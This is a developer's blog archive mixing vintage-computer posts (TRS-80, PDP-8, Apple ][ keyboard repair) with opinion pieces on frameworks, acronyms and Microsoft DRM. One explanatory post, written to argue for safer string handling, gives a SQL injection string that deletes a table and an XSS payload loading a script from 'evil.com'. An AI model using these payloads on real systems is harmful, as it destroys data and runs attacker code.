I understand this incessant drive for progress. But in my other hobby as an amateur computer historian, it amazes me how difficult, expensive, and time consuming it has become to maintain a modern personal computer. Anyone who isn't a technical Jedi will soon find their computer overwhelmed with spyware, adware, trialware, viruses, software conflicts, and a constant flood of confusing "you must upgrade me now!" popup messages that come from every piece of software you have installed...and even some software you don't!

Sometimes you are overwhelmed before you even get your computer out of the box, because most modern PC's come loaded with many dozens of trial-ware apps that you don't even want. And all of those programs will pester you relentlessly when your trial period expires! The only way to get rid of them is to fully un-install them.

Anyone reading my blog probably thinks un-installing apps is easy, but I'm hear to tell you that well over half of all computer users either don't know how, or are afraid to because they might corrupt the system if they remove the wrong thing.

I don't want to look at the past with rose-tinted lenses, because obviously the computers of the 80's were primitive. Obviously the Internet is awesome. But back then it sure was nice to know that once you got the OS and software installed, you never had to mess with it ever again!

There is no easy solution to this problem. It would take some kind of major cultural shift to slow the pace of change or to put more controls on how the internet is used (and trace attackers).

Until consumers make quality and stability a major priority, we are pretty much stuck. Oh, consumers WANT to make quality and stability a major priority, but the truth is that there aren't a lot of competitive alternatives for most types of software programs. Nobody can ever compete with Microsoft, so the best we can do is rely on volunteers to create free software like Linux and OpenOffice. But those kinds of programs are still way beyond the skill-level of your average user who thinks the internet is a big blue lower-case "e".

Tuesday, February 26, 2008

This Really Stinks - 80



This is kind of funny:

As part of my antique computer hobby, I decided to learn more about the TRS-80 series of computers from Radio Shack. The online articles I read about TRS-80 were not encouraging...pointing out major bugs and flaws that plagued TRS-80 computers. And some of the flaws were brain-dead mistakes like not de-bouncing the signal from the keyboard contacts...thus resulting in rrreeeppeeeaaatttiinngg ccchhaaarraaacctteerrs as you typed. Someone flunked Circuits 101.

Well, I decided to get a TRS-80 Model 4 off eBay. I figured that by the 4th model they would have gotten it right. I completely disassembled it, and the first thing I noticed is that the computer is separated in 4 major sub-systems that are connected by tons of nasty cabling, and the motherboard has more shielding than a microwave oven. This is not encouraging.

But the most discouraging part is the mass of ugly patches that were applied to the motherboard in post-production. It's not unheard of for an electronics maker to have to install a small fix to correct some minor problem that was discovered after the components already rolled off the assembly line. Usually this would be to attach an extra capacitor somewhere to reduce noise, or put in a patch line to sync up two signals.

You can always tell when there has been a post-production patch, because you'll see an additional wire or component that have been manually soldered that clearly weren't part of the original etching.

Well, here is what the TRS-80 Model 4 motherboard looks like:






This is just one corner of the board. The whole board has patches. What a mess! (Click on the picture for a larger view.)

There's long blue loopy wires running everywhere, jumping, connecting, and shorting everything in sight. Big loopy wires make great radio antennas, but poor digital circuits, which is maybe why shielding was so important for this computer. You can see a giant yellow wire coming all the way across the motherboard. The yellow wire has been manually soldered to a FLOATING resistor that is connected to the original resistor and a "bonus" diode that is not supposed to be there....and all of this is held together by one big fat blob of solder...sticking up like a great tower of "oops".

You can see in the picture that some of the resistors have been totally shorted by blue wires. Why did they even bother to leave the resistor in? Maybe to serve as convenient soldering points for the jump wires? Some of the IC chips have multiple teeth knocked out...presumably to completely bypass the original etching? In the background you have a tall add-on capacitor that is soldered right on top of another capacitor...and yet they put rubber tubing on the leads so that it wouldn't touch anything else. (???) But the Tower of Oops has no shielding.

There are lots of nuggets of "oops" across the entire motherboard, many of which are continued on the under side of the motherboard where there are even more loopy wires and added components.

So as quickly as I picked up a TRS-80, I'm abandoning it. This is not a computer I want to mess with on any kind of regular basis. This thing is FAR too difficult to take apart, the motherboard is full of patches, and all the chips are soldered down. (Compare this to an Apple ][ where there are zero motherboard patches and all the chips are socketed for easy replacement if they fail.)

If the Radio Shack engineers couldn't figure out how the thing worked, then I have no prayer.

Saturday, February 09, 2008

Legendary hacks

I've spent a fair amount of time learning about the design of lots of antique computers, and I'm often amazed at some of the hackery that took place to make these computers do things that everyone thought was impossible or impractical for its day.

The entire Apple ][ graphics system comes to mind, and the way it simulated an analog NTSC signal with a digital square wave that could be phased to approximate color signals. (Click here for more info).

But the most legendary hack I have yet come across is the sound system for the PDP-8. This is so weird I had to share. The PDP-8 had no sound card and no speaker. But what the PDP-8 did have was a ton of Electromagnetic Interference. If you tried to listen to an AM radio near a PDP-8, you would hear tons of "chatter" caused by the computer's internal operation. Well, someone figured out how to generate different tones on an AM radio by executing different sets of instructions on the PDP-8.


Here is a wav file Beethoven's Fifth, as played by a PDP-8 and an AM Radio:


Beethoven's Fifth

Here is a YouTube video of a PDP-8 playing music though a radio. This PDP-8 is at the University of Stuttgart computer museum. I can understand some German, but even if you can't speak any German you can figure out most of what he is saying.

University of Stuttgart's PDP-8

This is amazing for a number of reasons. First of all, the sound quality is actually pretty darn good for its day, and it would take personal computers many years to do better. Second, this kind of thing would only be possible on a computer that had sufficiently low frequency operations and no multi-tasking. Any modern computer would be way out of the range of an AM Radio.


This is an amazing thing done at the only point in history at which this thing COULD have been done. That's doubly amazing! There are actually libraries of music for the PDP-8 that use this technique! I haven't found any instances of this technique being used in any PDP-8 games. The classic game "Spacewar" could be played on a PDP-8, but it require an oscilloscope...and that's another legendary hack. :)

Here is Spacewar on a PDP-1 using an oscilloscope for a "monitor":

Spacewar

Wednesday, November 14, 2007

Memory is not a constant

Here are two rules that all developers MUST learn:

Rule #1: A human being can easily commit a complicated task to short-term memory. But for that task to live in long-term memory, it must be repeated very frequently for a duration of about a month, and then somewhat frequently thereafter.

Rule #2: A human being's memory is proportional to their interest level. People of equal I.Q. will remember WIDELY variable levels of detail based on their interest level. There is nothing that can be done to combat this. Our brains are biologically hard-wired to filter out and "lose" information that isn't interesting to us. That's how we deal with information overload.

People in an around technology don't tend to appreciate these rules:

1) Managers assume that people can be trained now for something they won't be used for 6 more months. They can't. Anything complex, like learning a new programming language, must be applied almost immediately and continuously or it will be lost.

2) Tool admins who use a tool on a regular basis assume that the tool is just as easy for someone to use on an infrequent basis. It isn't. If a tool is complex and used infrequently, you'll have to hold the user's hand *every* time they use it. This is no measure of how smart or dumb a user is. It's a measure of interest level and frequency of use. Tools that are used infrequently must be completely intuitive. When choosing new tools for a team to use, you *must* keep that in mind. It must either be something they use every day, or it must be something that is drop-dead intuitive. If it's neither, don't use it.

3) Developers who have a clear understanding of something complex feel no need to document it because it seems very obvious and easy to remember at the time. But to other developers it is opaque, as will it be to the original author after a period of time. A classic example is having a crystal-clear understanding of something complicated in a meeting, and then forgetting it completely after the weekend.

4) What is interesting to one developer will not be interesting to another developer, and since interest level greatly affects our ability to retain information, there are often great disconnects and battles between developers over which tools are "life savers" vs. which tools are just a pain-in-the-ass. People who are really into Operating Systems love Linux. In fact, the more complicated Linux is, the better, because that means more features and more power and more Operating System to "enjoy". People who don't care about Operating Systems *hate* Linux for all the same reasons. And then you have the frustrating disconnect between people who evangelize Linux and the people who can't remember the most simple Linux commands to save their lives.

The typical techie reaction to someone who can't remember how to do something is "Gawd! What an idiot!" And that is such an unjustified reaction. I have been on the other side of that exchange where someone tried to explain complex insurance rules to me (when I worked for an insurance company) but I kept forgetting the rules after a few days.

I could list many more examples, but I think I've conveyed the concept. If we keep these rules in mind, it can save us SO much pain and frustration with each other.

Tuesday, July 31, 2007

Apple ][ keyboard repair

In a previous posting, I gave some details on how to repair an old Apple ][ keyboard that used individual key switches.

In this article I'm going to show how to repair a late model (early 80's) switchless keyboard. It can be a bit more time consuming and painstaking to fix a broken key on a switchless keyboard. And you might have to be a little more creative if you need to fix a part for which you have no suitable replacement.

The good news is that switchless keyboards don't require any soldering, so if you are not confident with your soldering skills, then perhaps the switchless keyboards are best for you.

For either kind of keyboard, it's always a great idea to have a couple of old broken keyboards that you can use for spare parts. You can find these from broken Apples sold cheaply on eBay.

First, you remove the screws on the bottom of the computer to lift the frame off the base. Then you remove the screws that hold the keyboard onto the frame, and disconnect the keyboard from the motherboard. They keyboard with attached encoder board should come out as a single unit.

A switchless keyboard will look like this:




This one is tan colored. Your's may be blue. I've already removed the encoder board by pinching the plastic tabs with the pliers and then just pulling the encoder straight up.

There are about 19 little screws you have to remove. Once you remove all the screws, lift the contact board straight up and off. The contact board is a green circuit board full of contact points. Sandwiched in between the contact board and the key array is a white sheet of cloth used for insulation. The cloth has one hole for each key on the keyboard.

This is a picture of the contact board with the white cloth resting on top:





Under the contact board, you'll see the key array:


Each key has a copper spring plate (that lifts the key) and a silver contact plate that completes the circuit on the contact board. The colors don't show up well in this picture because the contact plates are very shiny and they reflect the camera flash away from the camera. If I point the camera directly into the key array, I only get a picture full of white light reflected back at me. I wish I knew as much about cameras as I know about old computers! :)

Here are the individual pieces that make up a complete key on this kind of keyboard. From left to right: the contact plate, the spring plate, the key shaft, and they key cap.




So this is how you completely disassemble a switchless keyboard down to the individual keys. At this point, you can examine and fix whatever part of the key is broken. Spring plates can be bent to increase springiness, contact plates can be bent to improve contact pressure. The keyshaft can be glued to fix breaks.

When using glue to fix a broken key or shaft, be sure to use proper model glue (or airplane glue). Do not use super glue!! Super glue is positively awful for gluing small delicate plastics. It forms a brittle bond that won't last. Gluing plastic to form a strong and lasting bond is very difficult with any glue. You may be better off finding a replacement piece. If you are have the right tools, materials, and skills, you can also try and craft a replacement part from from scratch. The plates don't have to be perfect either. They only have to somehow complete the circuit when the key is pressed. The spring plate can be replaced with a plain old coil spring that fits around the key shaft. The key cap itself will hide any "clever" craftsmanship.

Putting the whole keyboard back together can be tricky. Check all the contact plates and make sure none of them are crooked. Gently place the insulating sheet over the key array so that the holes line up with the keys, and then lay the contact board on top. I strongly recommend only inserting 2 or 3 of the screws at first. Tighten those 2 or 3 down, then flip the keyboard over to make sure all the keys are moving freely and popping back up. Insert 2 or 3 more screws, tighten those down, and check the keys again. Keep doing this until all 19 screws are in.

It's very easy for something to line up incorrectly, which will cause a key to get stuck or not work. And it's a pain to have to remove all 19 screws again to fix that. So, it's best that you test as much as you can as you go. Re-attach the encoder board as early as you can so that you can test your keyboard out on a live running computer. You don't have to reassemble the whole computer yet, just hook the keyboard connector into the motherboard socket, and turn the computer on to try it out.

Once you have the keyboard working 100%, reattach it to the computer frame, and reattach the frame to the base. Now you are done.

Knowing how to repair keyboards is a useful skill for maintaining old computers. The keys on the keyboard are the primary moving parts on the computer, and as such they will require the most maintenance.

Any part on any of these old computers is irreplaceable. There are just no manufactures making new parts of this kind. Your best defense will always be to have spare chips and parts from broken computers on hand. But also look for ways to replace old parts with new equivalents. Drive belts can be replaced with modern stiff rubber bands or other small belts. Power supplies can be rebuilt or replaced with parts from your local Radio Shack. ROMs can be copied with EPROM burners, and some companies sell ROM adapters that will let you use modern ROMs in these old ROM sockets. Most chips on these old computers are just simple logic gates and multiplexers which can also be replaced with parts from an electronics supply store. Broken etchings on the motherboard can be traced and replaced with thin wire.

Gather as much documentation as you can on the actual schematics of the old computers, so that you have a good understanding of what chips do what and how. These old computers are not too complex for one person to know absolutely everything about them. In some cases they were designed by just one person (like Steve Wozniak). That's one of the joys of working with these computers compared to modern sophisticated motherboards and CPU's that are designed by large teams of engineers using powerful CAD programs.

New motherboards are also manufactured by sophisticated machines capable of micro-soldering and multi-layered construction. These are not computers you can fix with human hands and a soldering gun.

Having a complete understanding of how these simple computers work allows you to re-invent their functionality in creative ways, and will allow you to keep them well maintained and functional forever.

Thursday, July 05, 2007

Mixing oil with water (or code with data)

Delimited data has been one of the most persistent problems in software development as long as I can remember, and yet nobody seems to have identified the larger issue here.

This is a common practice that persists right up through the year 2007. Text strings of unknown length are delimited with special characters, quotes, apostrophes, commas, nulls or even XML tags.

In the most simple example, you put quotes around a string, like "hello", and computers identify the string by looking for the beginning and ending quotes. This is second-nature to any literate human, and it seems like such a simple and trivial thing to do, but these types of text delimiters are one of the largest sources of faults and vulnerabilities in computer software today.

At the heart of the problem is the practice of mixing code and data in an unmanaged way.

The classic example that all developers deal with is text strings used in SQL statements. In SQL, text strings are delimited with single quotes. An example query that executes a customer search based on a customer's last name would look like this:

SELECT * from CUSTOMERS where lastName = 'Smith';

And that works great. Then a month later your program blows up because someone had a last name with a single quote in the name, like O'Reilly:

SELECT * from CUSTOMERS where lastName = 'O'Reilly';

And the computer ralphs because a) This SQL statement has invalid syntax and b) There is no customer with a last name of O anyway.

So, the best case scenario is that your software crashes on every apostrophe. A worse case scenario is that a hacker uses this vulnerability to destroy your database by embedding additional commands into the string.

Example: ask for a customer with a last name of "XYZ'; DELETE * from CUSTOMERS;"

This causes your SELECT statement to become:

SELECT * FROM CUSTOMERS where lastName = 'XYZ'; DELETE * from CUSTOMERS;'

See, you've tricked SQL into executing a DELETE statement by sending the proper character sequence (apostrophe semicolon) that ends the previous statement and starts a new one. This is called "SQL Injection". It takes virtually zero skills to do something like this, and the damage caused is catastrophic. This is one of the most common types of malicious hacks done on internet sites today. There are ways to get around SQL Injection by using parameterized SQL statements, but there are too many developers who don't know this or forget to do this.

Using XML tags to delimit data seems more secure...right? Well, it's definitely more complicated, but it is no more secure. Even more popular than SQL Injection is a hacking technique called "Cross-Site Scripting". It works just like SQL Injection in that you provide a data string that contains code for executing a malicious program - only this time you are hacking HTML instead of SQL.

HTML code for displaying a name might look like this:

<label>John Doe</label>

A malicious hacker takes advantage of this by saving their name as:

John <script src="evil.com/evil.js"></script>Doe

And thus the HTML generated is:

<name>John <script src="evil.com/evil.js"></script>Doe</name>

Since the browser can't reliably tell the difference between code and data, it will execute the embedded JavaScript program. This JavaScript program can do all manner of bad things to you if you are unfortunate enough to see a page containing this user's name.

Software development today is practically brimming over with all manner of specs and schemes that involve delimiting text data with special characters or other sequences of text data. This leads to more cases of mayhem and vulnerability than I could ever recount here.

The very editor I'm typing in right now (here on blogger.com) is giving me fits and problems because of the sample HTML code I wrote above while using this HTML editor. It can't figure out whether to interpret my example HTML as just text or real HTML commands. I can't blame blogger.com too much for this, because using HTML to edit HTML is a total blurring of code and data, and it's incredibly difficult to do intelligently. Again this is an example of the problem I'm talking about: blending code with data.

Maybe you think C programmers were so clever by choosing to terminate strings with NULL characters? Well that has lead to one of the biggest sources of security vulnerabilities ever: Buffer Overruns!

A browser routine or OS routine that accepts a null-terminated string will patiently keep reading string data until it finds that NULL character. If you are a hacker, you just make sure you never send that NULL character. You keep sending data until you overflow whatever buffer is being used. Now you have access to write anything you want directly to the computer's memory - including malicious code to execute. Just like the browser, the operating system will have a very difficult time telling the difference between code and data.

I've listed several major examples where delimited strings are, at best, a major problem. I could also tell frightful tales of thing gone wrong with comma separated values, tab separated values, URL encoding, URL re-writing, URL spoofing, forced directory navigation (dot-dot), tag-based page development, hidden macro commands, function-key activation, etc.

But I think my point is clear: Delimited strings are dangerous, and they are a major problem. Code and data should never be mixed without iron-clad boundary definitions.

My solution: Defined-length strings!

A defined length string enforces a clear boundary between code and data by defining the length of a string outside of the string itself.

There are many ways of doing this. Here is one way:

Instead of "This is my text" use [15]This is my text

The [15] is code that tells a computer that the following string is 15 characters long. The computer will read data for 15 characters, no less, no more, and be immune to the data itself containing any special characters. The 16th character is guaranteed to be the beginning of new code, because the determination of the length of the data is entirely outside of a user's control. (Think about it.)

SQL statements could be written as follows:

SELECT * from USERS where last_name = [8]O'Reilly;

HTML fields could be written as follows:

<label length="8">John Doe</label> or <label>[8]John Doe</label>

Now the browser knows that those 8 characters are to be treated as data, not code, no matter what.

Similar to the way Java automagically adds a NULL character at the end of a String, maybe compilers could be designed to add the length to the beginning of a String. It could reserve the first 4 bytes of a string for a 32-bit unsigned integer containing the length of the string. The language could make this implementation fairly transparent to the developer, and even allow for Unicode strings.

The point is that you force your code to strongly define all of its boundaries. Once you do that, then the data can safely fall into place without all the hassles and errors and risks we face today. The data can never "steal control" because the code never relinquishes control to begin with.

Oh, and by the way, this is not an attack on functional programming. I know functional programming prides itself on being able to blur the distinction between code and data. As long as this is done in some kind of controlled manner that does not allow for unintended code injection, that's fine.

Perhaps yet another alternative to handling this problem is to build string encoding right into the language itself, so that every character of every string is always encoded no matter what. This is similar to brute-force URL encoding where every character is changed to it's %xx equivalent, whether it needs to be or not. This seems like it would be a waste of space and processing time compared to defined-length strings, but at least it is one other way of addressing the problem.

I just want this problem to be addressed, because Software Engineering is difficult enough without having to always keep track of code-injection, character escaping, buffer overflowing, and all manner of other data vulnerabilities.


Sunday, July 01, 2007

Software is personal: Part 2

Continuing on my theme that software is personal, I'd like to point out this article:

http://www.douglaskarr.com/2007/06/23/2008-elections-by-server/

Democrats tend to favor Linux, Republicans tend to favor Windows. I saw this in 2004 as well.

http://www.linuxjournal.com/article/7239

(Of course, the Republican's only had one candidate...Bush...but he did run Windows.)

Now, I know that the actual candidates probably know little about Web Servers and probably weren't personally responsible for choosing software.

But the software was chosen by people who willingly work for the candidate, and so it does reflect range of prevalent personality traits in that group.

Now, if I were a typical polarizing blogger, I could easily jump right into insults and exaggerated characterizations of either side. (Republicans need dumbed-down Operating Systems. Democrats hate successful corporations.)

A kinder interpretation might be that Liberals tend to be more curious and experimental, and Conservatives tend to want to be more practical. I don't think either side would be too terribly insulted by that characterization.

I'm being intentionally neutral here because I think the important thing here is to observe the effects of our personalities on which software works best for us. Windows and Linux are very different Operating Systems, and yet some people are more productive under Windows, and others are more productive under Linux.

And yet almost every day I'm presented with examples of people who just don't get that.

I see technology articles that tout "the best" IDE, "the best" coding practices, "the best" testing practices, "the best" methodologies, etc. It's like saying that a Ferrari is better than a Hyundai. If your main objective is cost-effectiveness, then the Hyundai is the better choice.

The way we interpret and model our reality in our own heads varies greatly from person to person...more than I think most people realize. Given any problem space in Software Engineering, I contend that there is often no single best design. An object graph that makes perfect sense to one person might be an awkward and confusing design to another.

In software design, some people naturally think by relationships, others naturally think by structure, and yet others naturally think by flow and action. When you look at a system, do you look for the nouns or the verbs? Or both? Or neither?

The design that is best for any given person is the design that allows them to be the most productive.

I'm not saying there aren't bad designs. There are countless Design Patterns (or rather Anti-Patterns) that are technically inadvisable no matter HOW much sense it makes to you personally.

I'm just saying the closest you can get to the single "best" design is to find a design that makes the most sense to the most number of people on the given team; a design that favors those rules which are most desired by the majority of a group.

So, the next time you see someone claiming that FreeBSD is the best Operating System, consider that maybe they aren't crazy.....maybe they are just Libertarian. :)

Monday, June 25, 2007

Microsoft continues work on "one ring to bind them"

In a previous posting about my boycott of Microsoft Vista, I elaborated on the dangers of Microsoft's DRM and its inherent requirement to gain ever more control over they ways you use your computer.

This week we have yet another example of these dangers:

http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9025466&pageNumber=2

Virtualization is an increasingly popular and useful technology, which allows a user to run multiple operating systems on one computer. However, this breaks the Microsoft mechanism of locking software and digital content to a single physical piece of hardware. And so Microsoft has insisted on making it illegal to run Vista under a Virtual Machine.

I use the word "illegal" intentionally in this case. According to the U.S. Constitution (and all State Constitutions), only the state and federal governments have the right to create and enforce laws.

However, a loophole in (or loose interpretation of) contract law has allowed End User License Agreements (EULAs) to be interpreted and enforced with all the legitimacy of a signed contract agreement.

When you click "I agree" on all these myriad EULAs, it is as legally binding as signing a paper contract based on face-to-face negotiations.

Microsoft can write any rules into the Windows EULA they want. And when they do so, these rules become effectively a national law (given that Microsoft has a national monopoly).

Can you imagine Microsoft forcing every citizen of the United States to travel to Redmond in person to negotiate and sign a formal contract in order to use Microsoft software? That would be ridiculous right? And yet that is exactly what Microsoft has accomplished though the use of technology.

So, in the United States, it is now effectively illegal, and punishable by law, to use Virtualization Software. (Microsoft still does allow Virtualization Software to be used with the versions of Vista that do not have the built-in Media Management software. But, those versions of Vista are twice the price.)

It's questionable if all these software EULAs can really be strictly enforced by law, given that it is common practice for people to not read them. If enforced too strongly and too often, there would be public outcry, and the laws governing EULAs would change. But so far there hasn't been such outcry, and this is the best-of-all worlds for Microsoft. They can control customers and businesses through the FEAR of being sued, without actually having to sue people very often.

Companies are still well aware of the incredibly expensive legal fight IBM has had over the past 4 years with SCO over supposed patent right infringements that, in the end, turned out to have no merit. IBM did nothing wrong, and yet had to spend enormous amounts of time and money fighting the lawsuit...largely because SCO had received financial assistance from Microsoft. Microsoft intentionally backed SCO in order to fund these legal actions and undermine corporate support for Linux. And it worked, even though Linux was innocent of all charges!

Microsoft is a master of market manipulation using FUD (Fear, Uncertainty, and Doubt). This has been especially apparent in Microsoft's recent attempts to extort protection money from Linux vendors (and even hardware vendors) by threatening them with highly expensive litigation over undisclosed (and likely non-existent) patent right infringements.

Also remember that Microsoft put up such a fierce legal defense that even the federal government effectively "gave up" prosecuting them after 6 years.

So there is no doubt that Microsoft frightens customers across the country into obeying strict interpretations of the EULA, whether or not the EULA is practically enforceable on such a large scale.

And this is all just one example of the dangers we are facing from Microsoft's chosen path. Seeds that were planted in Windows XP are coming into full-bloom in Windows Vista. The number of restrictions Microsoft is placing on you and your computer is only going to grow with time. And people will obey because obeying is easier that fighting Microsoft in court.

If Windows Vista with all its myriad DRM schemes is not stopped now, it is going to dramatically change the nature of ALL technology for years or decades to come.

Monday, June 04, 2007

New Tools - 06/04/2007

Newly released from Codeweavers: CrossOver Office 6.1 for Linux and Mac. This version promises even more complete (and less buggy) support for Outlook 2003. In my initial tests, this seems to be true. CrossOver Office 6.0 had a few glitches with cut-n-pasting of text between Linux apps and Outlook 2003. See: http://www.codeweavers.com

Free anti-virus software: If you want free anti-virus software for Windows and Linux, the top two contenders seem to be AVG and Avast. AVG is made by "Grisoft" and Avast is made by "alwil". I've always used McAfee in the past, but I've been continually annoyed by McAfee's overbearing presence on my desktop, and it nagging me about buying other McAfee products. Plus, McAfee isn't free. The price is about $40 per year and climbing. $40 a year doesn't seem like a lot, but I maintain a lot of computers, both for myself and others. And the years seem to go by quickly. :)

I've been a long-time critic of Microsoft for including software in the OS that shouldn't be part of the basic OS. This drives out 3rd party competition. However, anti-virus software is one place Microsoft really SHOULD pony up the effort to integrate virus protection into the OS...but they don't. Keeping the OS safe should be the job of the OS maker, and not something you have to continually pay someone else to do.

Anyway, having used both AVG and Avast, I find myself more impressed with Avast. But these two tools leapfrog each other for the top spot, so maybe in another year I'll find AVG to be better.

Both AVG and Avast are commercial products, but they offer free editions for home users. And home use is my primary concern. However, AVG has stripped some bells and whistles out of their free version. The free version even downloads updates over a lower-priority (slower) channel. Whereas Avast's free version doesn't seem to be missing any features. (At least no features I've noticed yet.)

Also note that it is possible to run both anti-virus programs at the same time. This will cost a few extra CPU cycles, but you get double-coverage.

I read that both AVG and Avast have advanced and "award winning" virus detection engines, but I don't know how they compare to McAfee's virus detection engine. McAfee and Nortion have been around longer, so one might think they should have better engines. (??)

But if Avast and AVG will just leave me alone and not try to take over every aspect of my computer, then I'm willing to risk my computer on their detection engines, which I'm sure are still very good.

I'm also very happy to see these products available for Linux. Linux hasn't been a heavily targeted platform for viruses and trojans...YET...but I'm sure that day is coming as Linux increases in popularity.


Tuesday, May 22, 2007

Hackronym

Here is my submission for a new technical term: Hackronym

A hackronym is an acronym that is created before the phrase it abbreviates exists. This is unfortunately common in the technical world, where someone will choose a catchy name, and then try and see if they can describe their new technology using the letters of that name for an acronym.

Examples:


LAMP: The "Linux, Apache, MySQL, and PHP" stack. Or the "P" can stand for "Perl" or "Python" or any technology you want so long as it starts with "P". Here's a tip: Never choose technologies based on the first letter of their name. "LAMP" is such a catchy word that everyone wants to use it in their marketing...and that means that choosing a technology based on first letter of its name has become an actual real-world consideration. That is just incredibly lame.

LAMP has become "Let Acronyms Market Products". On a side note: There is humor in the fact that replacing Apache with IIS would give you "LIMP"...but I don't think IIS can run under Linux...so you have to use Windows, which gives you "WIMP". :)

AJAX : Describes a set of technologies that existed under several different names for years before someone came up with a catchy name that combines a vague and unknown number of these technologies in ways that go way beyond just "Asynchronous JavaScript And XML".

Much like Jon Carpenter's "The Thing", AJAX is whatever it needs to be to survive. At JavaOne this year, I saw people including Flash in their stack of "AJAX technologies". I can't wait for someone to refer to the Browser as the "AJAX Viewer".

PINE : This is the successor to the e-mail program called "Elm". So, goal #1 was to find a name that was another type of tree. Goal #2 was to make it an acronym. They picked "pine". It stands for "Pine Is Not Elm". Clever, but acronyms cannot be recursive. No soup for you!

COBOL
: COmmon Business-Oriented Language. You can't use the first two letters of a word just to make it easier to pronounce. Otherwise that's another form of hackronym. How about "Completely OBsOLete"? It's a language only an Orc could love.

SOAP : Supposedly stands for "Simple Object Access Protocol". SOAP is not Simple, nor is it Object Oriented, nor is it an Access mechanism, nor is it a Protocol. That's 4 strikes. Not only did you strike out, you also tripped over your own bat on the way back to the dugout.

XP : As in Windows XP. The letters "XP" stand for "eXPerience". I'm not joking. Look it up. Technical people came up with inummerable alternatives, like: eXtreme Price, eXpanding Plague, eXcessive Patches, etc.

The letters "XP" are also used for a software methodology called "eXtreme Programming". It is a common marketing strategy to utilize the word "extreme" in order to be cool, radical, fearless, wicked, etc. Ruffle your hair...grab your skateboard...slam down an energy drink laced with XTC...break open some glow sticks...and wail on your computer keyboard! Ya right.

XML : Really, the list of hackronyms that abuse the letter "X" are just endless. The letter X was very popular in the late 90's...like some meta-episode of Seasame Street. Unless you have some new technology that involves a Xylophone, you have no business using the letter X.

REST: Stands for "REpresentational State Transfer". Okay, that's just REally STupid.


I don't mean to be too negative on hackronyms in general. Often times they are clever and amusing. It's just that there tends to be an inverse relationship between how cool an acronym is and how cool the product really is. Most of the best software ever developed comes from the Linux and Unix world, where almost nothing has a cool name, or is even pronounceable!

Wednesday, May 16, 2007

Virtual COCO

On a related topic to the previous post, here is a virtual TRS-80 Color Computer. Press the "Setup" button to load software. This brings back some memories!

http://members.cox.net/javacoco/index.shtml

Tuesday, May 15, 2007

Virtual Apple

This is so cool:

http://www.virtualapple.org/

I've always wanted to setup something like this, but the copyright laws are so crazy these days that I'd be afraid of getting sued for distributing copyrighted software...even if it's software that hasn't been sold for 30 years. :(

I assume these guys have their legal bases covered...or they are hosted outside of the U.S.

Thursday, April 19, 2007

Nerdcore Rising

Last weekend, I went to see a Nerdcore concert featuring MC Frontalot, MC Lars, and Optimus Rhyme. It was simply incredible. All three have new albums out that really are just genius, and take the whole genre up a notch.

I rarely go to concerts. I'm usually too shy and reserved to do something that extroverted and boisterous. But I saw MC Frontalot play at a small club last year, and I got hooked on Nerdcore music. Frontalot is king of Nerdcore (IMO).

If you want to see a few samples of what Nerdcore is about, check out the following links:

MC Frontalot
Trailer for the upcoming "Nerdcore Rising" movie

Optimus Rhyme
Optimus Rhyme Intro
Obey the Moderator

MC Lars
Hey it's me!
Ahab

Geek on, Nerdcore!

Framewurks

I don't know if this is an observation or a rant...

I have been a professional software developer for about 17 years now, and the one general technology category that I have always been disappointed with is application "Frameworks".

API's are useful. Reusable libraries are productive. Frameworks suck.

I am not sure I have ever encountered a framework that was a tremendous "win" with regards to increased productivity and ease of use, especially for smaller projects. Some examples of frameworks that I have used are: Microsoft Foundation Classes (MFC), Apache Struts, Tapestry, Velocity, Hibernate, Toplink, Enterprise Java Beans (versions 1 and 2), Spring, ActiveX, DCOM, Aspect/J, PowerBuilder Foundation Classes (PFC), Swing, Java ServerFaces, and so on.

The basic API's and libraries that come with any development platform serve as a foundation for your application. I love all the myriad Java API's. They are easy to use, easy to learn, and they don't try to dictate design decisions for my application.

To use an analogy, if an API or library is the "foundation" of a house, then a framework is a pre-fab frame for your house, with some pre-fab wiring and plumbing included. If you happen to want exactly the type of house that the framework designers had in mind, then you might be okay, but only after you spend considerable time figuring out what the framework makers have and haven't already done for you, and how to attach to their frame.

But the key problem with every framework is that is has to integrate tightly into your applications, even though the framework designers had no clue what kind of application you would actually be developing.

  • Frameworks that try to be all things to all people end up being overly abstract and difficult to use.
  • Frameworks that try to be simple and easy to use end up being highly restrictive and suffocating, and don't cover the corner cases.
  • Frameworks that try to serve all sizes of applications become a burden on small applications and a hindrance to large applications.
  • Frameworks that manage everything for you will take control from you.
  • Frameworks that are highly configurable are fragile and poorly debuggable.
  • Frameworks that establish platform standards (like EJBs) evolve slowly and ungracefully.
  • Frameworks that aren't platform standards (Struts, Spring) will be orphaned.

Frameworks introduce high up-front costs (in terms of learning curves) in return for possible (but by no means guaranteed) savings in the long term. This is a classic anti-pattern of computer science: spending time and money on planning for an uncertain future. With adaptive methodologies and test-based refactoring techniques, it is actually possible to put off features until absolutely needed. But frameworks, by their very nature, can almost never be introduced LATE into a project. Due to the intrusive natures of frameworks, you cannot add them to applications without a major re-write, and possibly even a re-design.

Even considering all these issues that frameworks generate, they still continue to be popular. Once the learning curve for a framework is (somehow) overcome, the frameworks do prove useful for cranking out standardized chunks of basic functionality. Every framework comes with some kind of "pizza shop" or "pet store" sample application that really shows how the framework shines. And that's fine.

But as a professional software developer, I rarely get those kinds of softball "pizza shop" and "pet store" projects. If someone tasks me to write an application, it's usually because there isn't already an off-the-shelf solution, and I'm necessarily going to have to do something that is customized and unconventional. My experience has been that on almost every project I've done, I run into some aspect of every framework I've used that doesn't allow me to easily step outside of the box when I need to.

All frameworks claim that you aren't necessarily locked into their design, because developers always have the option of extending, overriding, or modifying the framework to suit their needs. But in doing that, your learning curve has just shot through the roof and out into space. You have to attain a white-box understanding of the framework at the source-code level to affect any reasonable design extensions. This is especially painful considering that most modern frameworks have more lines of code than any application *you* will ever write.

And yet frameworks thrive, and I continue to use them myself. I think one of the key factors that makes frameworks viable is "developer enthusiasm". Developers are so eager to learn new things and to keep their skills current, that they eat the cost of learning and adapting a new framework. A new framework is almost always introduced to a team by some number of developers learning the framework on their own time, and so the true cost of the framework is hidden up front, and/or buried into the cost of the total project.

Conclusion

The key point I wanted to make is that anytime you use a pre-fab solution of any significant size, you introduce an extra (and often large) learning curve into your development process AND you become greatly limited by (and committed to) certain design decisions that are imposed by the framework.

The advice I give to developers these days is not to chase buzzword frameworks just for the sake of padding your resume. (Unless you are a contractor, in which case resume padding is hard to resist.) Be aware that all print media is definitely trying to sell you something. If anyone says that your application sucks because it doesn't use "Spring" or "Hibernate" or whatever, don't listen to them. Highly technical people are often as short-sighted as they are enthusiastic about any new "toy".

